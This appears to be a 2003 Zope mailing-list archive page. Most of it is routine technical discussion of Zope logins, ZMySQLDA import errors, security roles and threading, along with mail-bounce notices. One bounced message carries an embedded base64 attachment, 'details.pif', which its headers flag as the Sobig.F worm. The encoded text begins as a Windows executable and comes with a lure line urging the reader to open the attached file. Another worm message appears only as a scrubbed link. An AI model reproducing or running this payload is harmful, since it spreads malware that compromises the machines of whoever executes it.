<0HJX002KQHJVJH@dxbrsmail1.emirates.net.ae> (original mail from zope@zope.org); Wed, 20 Aug 2003 21:21:31 +0400 (GST) Received: from aimail4.emirates.net.ae by dxbrsmail1.emirates.net.ae (I&ES Mail Server 4.2) with ESMTP id <0HJX00EP2HIMXD@dxbrsmail1.emirates.net.ae> for mts@ims-ms-daemon (ORCPT mts@emirates.net.ae); Wed, 20 Aug 2003 21:21:31 +0400 (GST) Received: from PCKJEMI_OPPL ([62.97.227.98]) by aimail4.emirates.net.ae (I&ES Mail Server 4.2) with ESMTP id <0HJX00HESHJ474@aimail4.emirates.net.ae> for mts@emirates.net.ae (ORCPT mts@emirates.net.ae); Wed, 20 Aug 2003 21:21:07 +0400 (GST) Date: Wed, 20 Aug 2003 19:19:27 +0200 From: zope@zope.org Subject: Re: Wicked screensaver To: mts@emirates.net.ae Message-id: <0HJX00HEZHJ574@aimail4.emirates.net.ae> MIME-version: 1.0 Content-type: multipart/mixed; boundary=_NextPart_000_0788C757 Your message cannot be delivered to the following recipients: Recipient address: mts@ims-ms-daemon Original address: mts@emirates.net.ae Reason: Over quota -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: zope@zope.org Subject: Re: Wicked screensaver Date: Wed, 20 Aug 2003 19:19:27 +0200 Size: 1327 Url: http://lists.zope.org/pipermail/zope/attachments/20030820/439765a1/attachment.eml From Mailer-Daemon at t-online.de Fri Aug 22 15:36:57 2003 From: Mailer-Daemon at t-online.de (Mail Delivery System) Date: Sat Aug 23 12:24:23 2003 Subject: [Zope] Mail delivery failed: returning message to sender Message-ID: <19qBA1-014p9rC@mailin01.aul.t-online.de> |------------------------- Failed addresses follow: ---------------------| 550 Mailbox quota exceeded / Mailbox voll. |----------- Message text follows: (body too large, truncated) ----------| Received: from mx04.ispgateway.de ([62.67.200.153]) by mailin01.sul.t-online.de with esmtp id 19qB9r-10zZdA0; Fri, 22 Aug 2003 14:36:47 +0200 Received: (qmail 18732 invoked by uid 507); 22 Aug 2003 12:36:47 -0000 Delivered-To: martin@v.loewis.de Received: (qmail 18271 invoked from network); 22 Aug 2003 12:36:31 -0000 Received: from unknown (HELO HNDX-159) ([61.137.125.239]) (envelope-sender ) by mx04.ispgateway.de (qmail-ldap-1.03) with SMTP for ; 22 Aug 2003 12:36:31 -0000 From: To: Subject: Re: Approved Date: Fri, 22 Aug 2003 20:34:45 +0800 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_1BD19309" X-Spam-Status: No, hits=5.8 required=9999.0 tests=FORGED_MUA_OUTLOOK,MICROSOFT_EXECUTABLE, MIME_BOUND_NEXTPART,MISSING_MIMEOLE,MSGID_HAS_NO_AT, NO_REAL_NAME version=2.55 X-Spam-Level: ***** X-Spam-Checker-Version: SpamAssassin 2.55 (1.174.2.19-2003-05-19-exp) X-Virus: Infected X-Virus-Type: Worm.Sobig.F X-Seen: false This is a multipart message in MIME format --_NextPart_000_1BD19309 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit See the attached file for details --_NextPart_000_1BD19309 Content-Type: application/octet-stream; name="details.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="details.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 VTAgEzCkBWWxtMTmESywR2WXoQMubDO From allison at sumeru.stanford.EDU Fri Aug 22 11:32:04 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Sat Aug 23 12:37:01 2003 Subject: [Zope] Zope on SuSE 8.2 -- What initial user name and password do I use? In-Reply-To: <55688.152.34.59.4.1061473875.squirrel@65.217.249.141> Message-ID: use zpasswd.py to create a file 'inituser' and create an initial account username and password. Altertaively you can reinstall and be sure to captyure the initial user information. On Thu, 21 Aug 2003 paulporter@buffalotalks.com wrote: > I've got Zope running but when I go to localhost:8080/manage I get a > dialogbox wanting a user name and password. I didn't know what it was > wanting so I created an "access" file using zpasswd.py but apparently it > doesn't see this file because when I enter the user name and password that > I put in the access file zope just regenerates the prompt dialogbox. > > I have made sure that I enter username/password exactly as found in the > access file, I've tried copying th access file into the zope directory, > that had no positive effect so I copied it into the zserver directory and > that had no positive effect either. > > Could some kind soul please tell me how to get into Zope? > > Thanks for any help that might be offered. > > Paul > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From webmaster at faey.iofm.net Sat Aug 23 08:00:03 2003 From: webmaster at faey.iofm.net (webmaster@faey.iofm.net) Date: Sat Aug 23 13:08:19 2003 Subject: [Zope] Re: Wicked screensaver Message-ID: Please see the attached file for details. -------------- next part -------------- A non-text attachment was scrubbed... Name: movie0045.pif Type: application/octet-stream Size: 75643 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030823/6dbf5b96/movie0045-0001.obj From wphewitt at comcast.net Sat Aug 23 18:29:09 2003 From: wphewitt at comcast.net (Bill Hewitt) Date: Sat Aug 23 13:31:04 2003 Subject: [Zope] How do I set a default view in in a DTMLDocument Based ZClass? Message-ID: <1061587365.12790.11.camel@blowfish.hewnix.com> I have created a ZClass with all the properties and administrative screens, but...... I wrote a python script to call a particular StyleSheet (subclassed from DTMLDocument): for i in container.StyleBook.objectValues('Style Sheet') : print i() return printed this returns whatever I type in the instance "data" field in the "manage_main" view, but I cant see how to configure this field with a default template so I dont have to rewrite the "manage_main" "data" textfield every time I create an instance..... HELP PLEASE.... WPH From dieter at handshake.de Fri Aug 22 21:26:17 2003 From: dieter at handshake.de (Dieter Maurer) Date: Sat Aug 23 14:38:54 2003 Subject: [Zope] External management of roles and permissions In-Reply-To: References: Message-ID: <16198.24649.260006.415909@gargle.gargle.HOWL> Dennis Allison wrote at 2003-8-19 13:33 -0700: > How do I programmatically set the Security settings programmatically? > > Specifically, I have a collection of Zopes. I need to verify that > each supports certain special security roles and, if they are not > present, create them. Then I need to set the permissions for each > security option/role programattically--the moral equivalent of going > through and checking the boxes. In a few instances I'll also need to > test/and or set a proxy programmatically. A quick browse of the API > and code didn't point me in the right direction. How does one do this? I suggest, you look at the modules in "AccessControl", especially "Role" and "Permission". You should find everything in "AccessControl". Dieter From MAILER-DAEMON at aol.com Fri Aug 22 15:44:01 2003 From: MAILER-DAEMON at aol.com (Mail Delivery Subsystem) Date: Sat Aug 23 15:07:30 2003 Subject: [Zope] Returned mail: User unknown Message-ID: <200308221844.OAN16022@rly-na05.mx.aol.com> The original message was received at Fri, 22 Aug 2003 14:43:47 -0400 (EDT) from [65.205.28.100] *** ATTENTION *** Your e-mail is being returned to you because there was a problem with its delivery. The address which was undeliverable is listed in the section labeled: "----- The following addresses had permanent fatal errors -----". The reason your mail is being returned to you is listed in the section labeled: "----- Transcript of Session Follows -----". The line beginning with "<<<" describes the specific reason your e-mail could not be delivered. The next line contains a second error message which is a general translation for other e-mail servers. Please direct further questions regarding this message to your e-mail administrator. --AOL Postmaster ----- The following addresses had permanent fatal errors ----- ----- Transcript of session follows ----- ... while talking to air-na02.mail.aol.com.: >>> RCPT To: <<< 550 MAILBOX NOT FOUND 550 ... User unknown -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 681 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030822/744e7802/attachment.bin From hpinson at indepthl.com Fri Aug 22 17:56:00 2003 From: hpinson at indepthl.com (hpinson@indepthl.com) Date: Sat Aug 23 15:11:49 2003 Subject: [Zope] ZMySQLDA broken with Redhat 9? Message-ID: <3F464B20.18809.55C19F9@localhost> This is really baffling: I cannot seem to get ZMySQLDA to work on Redhat 9. Here's what is installed: (Zope 2.6.1 (binary release, python 2.1, linux2-x86), python 2.1.3, linux2) MySQL-shared-compat-4.0.13-0 MySQL-server-4.0.13-0 MySQL-devel-4.0.13-0 MySQL-client-4.0.13-0 MySQL-python-0.9.2-1 /var/zope/lib/python/Products/ZMySQLDA version 2.0.8 Here is the traceback: Traceback (most recent call last): File "/var/zope/lib/python/OFS/Application.py", line 541, in import_product product=__import__(pname, global_dict, global_dict, silly) File "/var/zope/lib/python/Products/ZMySQLDA/__init__.py", line 91, in ? import DA File "/var/zope/lib/python/Products/ZMySQLDA/DA.py", line 92, in ? from db import DB File "/var/zope/lib/python/Products/ZMySQLDA/db.py", line 89, in ? import _mysql ImportError: No module named _mysql Is it a path problem? Adding: PYTHONPATH=/usr/lib/python2.2/site-packages EXPORT PYTHONPATH to /var/zope/start does not seem to fix it. Nor does: PYTHONPATH=/usr/lib/python1.5/site-packages EXPORT PYTHONPATH ...which is where I can find _mysql.so as well as the MySQLdb directory. Zope appears not to run at all if I change Zope' python to 2.2, which came with RH9, so I am using the default python that came with the Zope binary. Getting MySQL and Zope to talk on Linux used to be so easy. What am I doing wrong? Any help would be greatly appreciated. Harlow Pinson Indepth Learning Email: hpinson@indepthl.com Web: http://www.indepthl.com Voice: 505-994-2135 FAX: 208-475-7678 From mlong at datalong.com Sat Aug 23 14:33:10 2003 From: mlong at datalong.com (Michael Long) Date: Sat Aug 23 21:27:36 2003 Subject: [Zope] zope2.7b1 does not start on winXP Message-ID: I have a similar problem. I found that after attempting to start zope the first time that if you go to the task manager and look at the list of processes running you will find both a pythonservice.exe and python.exe (the names may not be exactly right, I am going by memory). Kill these two services and start zope again. This works for me. It may also be helpful to execute runzope.bat from within a dos window and look for any error messages. hth, Mike > I'm afraid I can't replicate this. Something on your system is borked, > I think. I suspected that Python itself looked for its library in the > registry on Windows, but this doesn't appear to be the case. Is it > feasible to uninstall Python 2.1 and try it again? > > On Tue, 2003-08-19 at 16:52, Chris McDonough wrote: > > This sounds strange. I will try to install Python 2.1 on my system > > alongside of Zope and see if I can replicate it. > > > > On Tue, 2003-08-19 at 11:42, Elena Schulz wrote: > > > Hi Andreas, > > > > > > > Somehow your installation is borked since Zope 2.7 requires Python 2.2.3 > > > > and you > > > > are using 2.1.... or so. > > > > > > yes, it looks like that but my question is, how comes since my runzope.bat > > > (my Zope-starter) is configured to use the default zope 2.7 python? > > > Is there any use of the registry for the decision which dll's to use? > > > > > > -- Elena > > > > > > It looks like this: > > > > > > @set PYTHON=L:\Zope\Zope27\Zope-2.7.0-b1\bin\python.exe > > > @set ZOPE_HOME=L:\Zope\Zope27\Zope-2.7.0-b1 > > > @set INSTANCE_HOME=L:\Zope\Zope27\ZopeInstanceFiles > > > @set CONFIG_FILE=%INSTANCE_HOME%\etc\zope.conf > > > @set PYTHONPATH=%ZOPE_HOME%\lib\python > > > @set ZOPE_RUN=%ZOPE_HOME%\lib\python\Zope\Startup\run.py > > > "%PYTHON%" "%ZOPE_RUN%" -C "%CONFIG_FILE%" %1 %2 %3 %4 %5 %6 %7 > > > > > > > > > _______________________________________________ > > > Zope maillist - Zope@zope.org > > > http://mail.zope.org/mailman/listinfo/zope > > > ** No cross posts or HTML encoding! ** > > > (Related lists - > > > http://mail.zope.org/mailman/listinfo/zope-announce > > > http://mail.zope.org/mailman/listinfo/zope-dev ) > > > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://mail.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://mail.zope.org/mailman/listinfo/zope-announce > > http://mail.zope.org/mailman/listinfo/zope-dev ) > -- > Chris McDonough > Zope Corporation > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > > From dieter at handshake.de Sun Aug 24 00:53:08 2003 From: dieter at handshake.de (Dieter Maurer) Date: Sun Aug 24 02:23:39 2003 Subject: [Zope] Threading gotchas? In-Reply-To: References: Message-ID: <16199.57924.955891.455197@gargle.gargle.HOWL> Andrew Veitch wrote at 2003-8-21 13:47 +0100: > I'm just about to do some threading in a Zope application. At the moment it > relies on an external cron job or Xron to call a method reasonably regularly > but I would like to use a Python thread instead. I'm not particularly > bothered if the thread is called slightly late. > > I'm just wondering if there are any particular gotchas? Or will it work just > as it does in ordinary Python? Yes. Please search the mailing list archive. Dieter From dieter at handshake.de Sun Aug 24 01:07:00 2003 From: dieter at handshake.de (Dieter Maurer) Date: Sun Aug 24 02:25:57 2003 Subject: [Zope] Document Management using Zope In-Reply-To: References: Message-ID: <16199.58756.516433.721810@gargle.gargle.HOWL> Siu, Paul wrote at 2003-8-22 09:59 -0400: > Hi, > > I need to create a system that is mostly for web content management > (HTML, XML, etc), but also have support for traditional "fat" documents > like Microsoft Office. Basically I want to be able to version fat > documents and route them through workflows. I was trying to figure out > if this is feasible in Zope. Maybe, the Kaivu Document Library helps you, or Plone... Dieter From dieter at handshake.de Sun Aug 24 00:16:00 2003 From: dieter at handshake.de (Dieter Maurer) Date: Sun Aug 24 02:29:35 2003 Subject: [Zope] zope hangs In-Reply-To: <20030821173344.31555.qmail@web80403.mail.yahoo.com> References: 